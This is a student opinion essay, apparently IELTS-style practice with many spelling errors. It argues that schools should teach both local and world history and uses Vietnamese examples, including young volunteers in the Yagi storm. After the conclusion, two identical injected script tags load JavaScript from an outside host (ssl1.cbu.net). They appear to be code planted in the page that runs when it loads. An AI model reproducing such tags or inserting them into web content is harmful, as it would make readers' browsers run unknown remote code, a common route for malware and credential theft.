It is more important for school children to learn about local history than world history To what extent do you agree or disagree

The idea that children’s school curriculum should focuse more about history of their country than history over the world is controversial. In my opinion, I disagree with this point. I think the school have to teach local and world history because they are both valuable.

On the one hand, having understanding about history of their mother country is beneficial in some aspects. First, it can foster the sense of belonging and the proud about their origin countries in children. For instances, being aware how hard the Vietnamese people were to sacrified for the peace today will help students become more respect to their own country and try to make it become more develop. Sencond, through that studying process, youngster will develop compassion with inhabitans in their motherlands and remain the core value of the old generation. The spirit of Vietnames youngster in Yagi storm – one of the most disastrous disasters in Vietnamese history is a clear example. A lot of young vonlunteers enthusiatically participated in rescuring isolated people in affected areas.

On the other hand, learning wold history can not be underestimated. When having awereness about differences in other cultures and countries, children can develop the mutual understanding between people and have open perspective with other viewpoints. Futhermore, by comparing the two histories during their learning, young people can have a solid grasp of the strenghs and weaknesses needed to improve of their origin country.

In conclusion, because local history and world history have both improtant roles. I think balance approach is essential for children development.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>